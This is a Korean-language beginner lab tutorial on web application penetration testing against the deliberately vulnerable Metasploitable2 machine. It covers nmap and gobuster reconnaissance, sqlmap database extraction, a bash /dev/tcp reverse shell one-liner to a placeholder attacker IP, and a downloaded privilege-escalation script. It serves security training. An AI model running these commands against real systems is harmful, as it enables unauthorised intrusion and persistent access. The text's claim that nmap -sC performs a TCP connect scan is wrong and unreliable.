Nmap 을 이용한 웹 애플리케이션 침투 테스트 수행

NmapBeginner
지금 연습하기

소개

이 랩에서는 정보 보안의 중요한 측면인 웹 애플리케이션 침투 테스트 (Web Application Penetration Testing) 에 대해 배우겠습니다. 웹 애플리케이션은 다양한 분야에서 널리 사용되고 있으며, 그 보안은 최우선 순위입니다. 이 랩은 대상 머신에서 호스팅되는 취약한 웹 애플리케이션에서 취약점을 식별하고 악용하는 실습 경험을 제공하는 것을 목표로 합니다. 목표는 일반적인 웹 애플리케이션 취약점과 이를 악용하는 데 사용되는 기술에 대한 이해를 얻는 것입니다.

환경 설정

이 단계에서는 랩 환경을 설정하고 도구 및 대상 시스템에 익숙해지겠습니다.

먼저, Kali Linux 이미지의 ID 를 얻어야 합니다. 이는 데스크톱에서 xfce 터미널을 더블 클릭하고 다음 명령을 실행하여 표시할 수 있습니다.

docker images

공격 머신이 될 Kali Linux 컨테이너를 시작해야 합니다. 터미널을 열고 다음 명령을 실행합니다.

docker run -ti --network host image-id bash

이 명령은 새로운 Kali Linux 컨테이너를 시작하고 해당 셸과 상호 작용할 수 있도록 합니다.

다음으로, 새로운 터미널을 다시 열어 Metasploitable2 라는 취약한 시스템인 대상 머신을 시작해야 합니다. 다음 명령을 실행하여 가상 머신을 시작합니다.

sudo virsh start Metasploitable2

대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 걸릴 수 있습니다.

가상 머신이 실행되면 Kali Linux 컨테이너에서 대상 머신을 ping 할 수 있는지 확인합니다.

ping 192.168.122.102

정찰 및 정보 수집

이 단계에서는 다양한 기술을 사용하여 대상 시스템에 대한 정찰을 수행하고 정보를 수집합니다.

먼저, Kali Linux 컨테이너 내에서 nmap 도구를 사용하여 대상 머신을 스캔하여 열린 포트와 실행 중인 서비스를 식별합니다.

nmap -sV -sC -oN nmap_scan.txt 192.168.122.102

이 명령은 열린 포트를 확인하기 위해 TCP 연결 스캔 (-sC) 을 수행하고, 각 열린 포트에서 실행 중인 서비스 및 버전을 식별하기 위해 버전 스캔 (-sV) 을 수행합니다. 출력은 nmap_scan.txt 파일 (-oN) 에 저장됩니다.

스캔은 시간이 걸립니다. 스캔이 완료되면 cat 명령을 사용하여 nmap_scan.txt 파일을 검토하여 열린 포트 및 서비스를 기반으로 잠재적인 공격 벡터를 식별합니다.

cat nmap_scan.txt

다음으로, gobuster 도구를 사용하여 대상 웹 서버에서 디렉토리 및 파일 열거를 수행합니다.

gobuster dir -u http://192.168.122.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -o gobuster_scan.txt

이 명령은 지정된 단어 목록 (-w) 을 사용하여 대상 웹 서버에서 디렉토리 및 파일을 무차별 대입합니다. -t 옵션은 동시 스레드 수를 지정하고, -o 옵션은 출력을 gobuster_scan.txt 파일에 저장합니다.

gobuster_scan.txt 파일을 분석하여 잠재적으로 추가 정보 또는 공격 벡터를 제공할 수 있는 흥미로운 디렉토리 또는 파일을 식별합니다.

취약점 활용

이 단계에서는 이전 단계에서 식별된 취약점을 악용하려고 시도합니다.

nmap 및 gobuster 스캔에서 수집된 정보를 바탕으로 대상 시스템의 잠재적인 취약점을 식별합니다. 예를 들어, 웹 애플리케이션 또는 서비스의 구식 버전을 발견한 경우 해당 버전에 대한 알려진 취약점을 조사하고 이를 악용하려고 시도합니다.

웹 애플리케이션에서 흔히 발견되는 취약점 중 하나는 SQL 인젝션 (SQL injection) 입니다. 대상 웹 애플리케이션이 SQL 인젝션에 취약하다고 가정해 보겠습니다. Kali Linux 컨테이너 내에서 sqlmap 도구를 사용하여 SQL 인젝션 취약점을 탐지하고 악용하는 프로세스를 자동화할 수 있습니다.

sqlmap -u http://192.168.122.102/vulnerable_page.php --batch --risk=3 --level=5 --random-agent --dbs

이 명령은 지정된 URL(-u) 에서 SQL 인젝션 취약점을 탐지하고 악용하려고 시도합니다. --batch 옵션은 sqlmap을 비대화형 모드로 실행하고, --risk=3은 위험 수준을 3(최대) 으로 설정하며, --level=5는 SQL 인젝션 테스트의 레벨을 5(최대) 로 설정합니다. --random-agent 옵션은 임의의 사용자 에이전트 문자열을 지정하고, --dbs는 모든 데이터베이스의 이름을 검색하려고 시도합니다.

악용하려는 취약점에 따라 다른 도구나 기술을 사용해야 할 수 있습니다. 특정 취약점 및 도구에 대한 설명서 및 리소스를 참조하십시오.

익스플로잇 후 처리 및 권한 상승

이 단계에서는 성공적인 악용 후 대상 시스템에 대한 접근 권한을 유지하고 권한을 상승시키려고 시도합니다.

취약점을 통해 대상 시스템에 대한 접근 권한을 얻었다고 가정하면, 다음 단계는 지속적인 백도어 (backdoor) 또는 리버스 쉘 (reverse shell) 을 설정하는 것입니다. 이렇게 하면 초기 취약점이 패치되더라도 시스템에 대한 접근 권한을 유지할 수 있습니다.

리버스 쉘을 설정하는 한 가지 방법은 netcat 유틸리티를 사용하는 것입니다. Kali Linux 컨테이너에서 다음 명령을 실행합니다.

nc -lvnp 4444

이 명령은 포트 4444 에서 들어오는 연결을 수신 대기합니다.

대상 시스템에서 다음 명령을 실행하여 리버스 쉘을 설정합니다.

bash -c 'bash -i >& /dev/tcp/<Kali IP>/4444 0>&1'

<Kali IP>를 Kali Linux 컨테이너의 IP 주소로 바꿉니다. ifconfig를 사용하여 컨테이너의 IP 주소를 찾을 수 있습니다.

리버스 쉘이 설정되면 대상 시스템에서 권한을 상승시키려고 시도할 수 있습니다. 한 가지 일반적인 기술은 linux-exploit-suggester 도구를 사용하여 권한 상승 취약점을 검색하는 것입니다.

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh > /home/labex/linux-exploit-suggester.txt

이 스크립트는 대상 시스템을 분석하고 권한 상승에 사용할 수 있는 잠재적인 커널 익스플로잇 (kernel exploit) 을 제안합니다.

요약

이 랩에서는 웹 애플리케이션 침투 테스트에 대해 배우고, 대상 머신에서 호스팅되는 취약한 웹 애플리케이션에서 취약점을 식별하고 악용하는 실질적인 경험을 얻었습니다. 우리는 침투 테스트 (penetration testing) 참여의 정찰, 정보 수집, 악용 및 사후 악용 단계에서 사용되는 다양한 기술과 도구를 다루었습니다.

이 랩은 실제 시나리오를 연습하고 웹 애플리케이션 보안 기술을 개발할 수 있는 통제된 환경을 제공했습니다. 단계를 따라 랩 환경을 설정하고, 정찰 및 정보 수집을 수행하고, SQL 인젝션 (SQL injection) 과 같은 취약점을 악용하고, 지속적인 백도어 (backdoor) 를 설정하고, 대상 시스템에서 권한 상승을 시도하는 방법을 배웠습니다.

이 랩은 웹 애플리케이션 침투 테스트에 대한 실질적인 지식과 경험을 제공했으며, 이는 웹 애플리케이션을 보호하고 악의적인 행위자가 악용하기 전에 잠재적인 취약점을 식별하는 데 필수적입니다.